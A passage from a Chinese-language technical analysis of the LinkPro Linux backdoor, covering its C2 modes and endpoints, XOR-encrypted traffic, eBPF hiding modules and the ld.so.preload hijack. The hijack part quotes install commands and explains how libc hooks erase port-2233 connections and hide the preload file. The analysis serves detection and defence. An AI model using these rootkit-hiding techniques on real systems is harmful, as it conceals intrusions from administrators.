&#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/machine-id</span></code><span leaf="">中的值,如果该文件不存在,则取自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/sys/kernel/random/boot_id</span></code><span leaf="">。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">forward</span></code><span leaf="">( 主动 ) 模式支持五种通信协议:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">HTTP</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WebSocket</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">UDP ( raw )</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">TCP ( raw )</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">DNS ( direct/tunneling )</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">而 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><span leaf="">( 被动 ) 模式仅使用 HTTP 协议,提供以下三个 URL:</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/reverse/handshake</span></code><p><span leaf="">: 用于识别操作员 ID ( 通过 HTTP 请求参数 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">server_id</span></code><span leaf="">) ,并返回状态 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">success</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/reverse/heartbeat</span></code><p><span leaf="">: 返回客户端信息 ( 当指定了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">request_client_info</span></code><span leaf="">参数时 ) ,并返回状态 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ok</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/reverse/operation</span></code><p><span leaf="">: 执行操作员下发的命令。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通信内容以 JSON 进行结构化,并使用配置中所指定的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SecretKey</span></code><span leaf="">作为 XOR 密钥进行加密。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随后,程序按照以下顺序依次执行:</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">安装 &#34;Hide&#34; eBPF 模块</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">如果 &#34;Hide&#34; 模块安装失败,或被显式禁用 ( 命令行参数 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-ebpf 0</span></code><span leaf="">) : 则在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">中安装一个共享库</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">如果使用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><span leaf="">模式: 安装 &#34;Knock&#34; eBPF 模块</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">安装持久化机制</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">执行 C2 命令</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">在收到中断信号时,删除前述各模块</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">后续描述中将以被动样本 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d5b2202b</span></code><span leaf="">为示例。</span></em></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">LD PRELOAD 模块</span></h3><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SHA256</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7</span></code></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件类型</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ELF 64-bit LSB shared object, x86-64, executable/linux/so64</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件大小</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">14552 bytes</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">威胁</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Linux Dynamic Linker Hijacking</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">观察到的文件名</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">LinkPro</span></strong><span leaf="">会修改 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">配置文件,在其中指定它内嵌的共享库 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">的路径,目的是隐藏可能暴露后门存在的各类痕迹。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">的安装步骤如下:</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">当前内容保存到内存中</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">把内嵌在 </span><strong style="margin-top: 0px;"><span leaf="">LinkPro</span></strong><span leaf="">二进制文件中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">释放到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/libld.so</span></code></p></li><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">必要时,以读写权限重新挂载 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc</span></code><span leaf="">: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mount -o remount,rw /etc</span></code></p></li></ol><li style="margin: 15px 0px;"><p><span leaf="">赋予 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">足够的权限,使其可以被所有用户加载和执行: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">chmod 0755 /etc/libld.so</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">文件的内容替换为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/libld.so</span></code></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">中已经写入了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/libld.so</span></code><span leaf="">路径,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">安装的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">共享库就会被所有依赖 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/lib/ld-linux.so</span></code><span leaf="">的程序所加载14。这覆盖了所有使用共享库 ( 例如 glibc ) 的程序。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一旦 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">在某个程序 ( 例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/bin/ls</span></code><span leaf="">) 执行时被加载,它会先于 </span><em><span leaf="">glibc</span></em><span leaf="">对若干 </span><em><span leaf="">libc</span></em><span leaf="">函数进行 hook,从而修改那些可能暴露 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">存在的返回结果。下面是被 hook 函数的具体行为:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fopen</span></code><p><span leaf="">与</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fopen64</span></code><span leaf="">:</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">的 hook 会检查进程是否在尝试打开</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/tcp</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/tcp6</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/udp</span></code><span leaf="">或</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net/udp6</span></code><span leaf="">。这些文件提供活跃 TCP/UDP 连接的信息。若是,真正的</span><em><span leaf="">fopen</span></em><span leaf="">函数会被先调用一次,然后恶意库会读取这些文件的内容,并删除其中关于</span><strong><span leaf="">LinkPro</span></strong><span leaf="">的网络痕迹。具体而言,任何以端口</span><strong><span leaf="">2233</span></strong><span leaf="">(</span><strong><span leaf="">LinkPro</span></strong><span leaf="">的侦听端口 ) 作为源端口或目的端口的行都会被删除。最后,如果进程尝试打开名为</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">的文件,则会返回</span><em><span leaf="">&#34;No Such File Or Directory&#34;</span></em><span leaf="">( 无此文件或目录 ) 错误。</span><figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012296" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5ecb0587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjS8f8jyKEW8PEymGrhGGkwnqKoEItxicGgJicp8TVMTWa4Pb6G5hbYsr7tvvL40fUg5Xw94vv6rwiaH25kPQL9fVcITJJvI4eiczU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="margin-bottom: 0px;"><span leaf="">forge_proc_net_tcp 函数修改文件内容的伪代码</span></figcaption></figure></p></li><li style="margin: 15px 0px;"><p><span leaf="">关于网络信息,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">netstat</span></code><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/net</span></code><span leaf="">中的文件来展示当前连接。相对地,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ss</span></code><span leaf="">则使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">netlink</span></code><span leaf="">协议来获取这些信息。因此,通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ss</span></code><span leaf="">命令仍然可以发现机器上正在侦听的 2233 端口,如下图所示 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">openat</span></code><span leaf="">是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fopen</span></code><span leaf="">在底层使用的系统调用 ) :</span><pre style="margin: 15px 0px 0px;font-family: SFMono-Regular, Consolas, 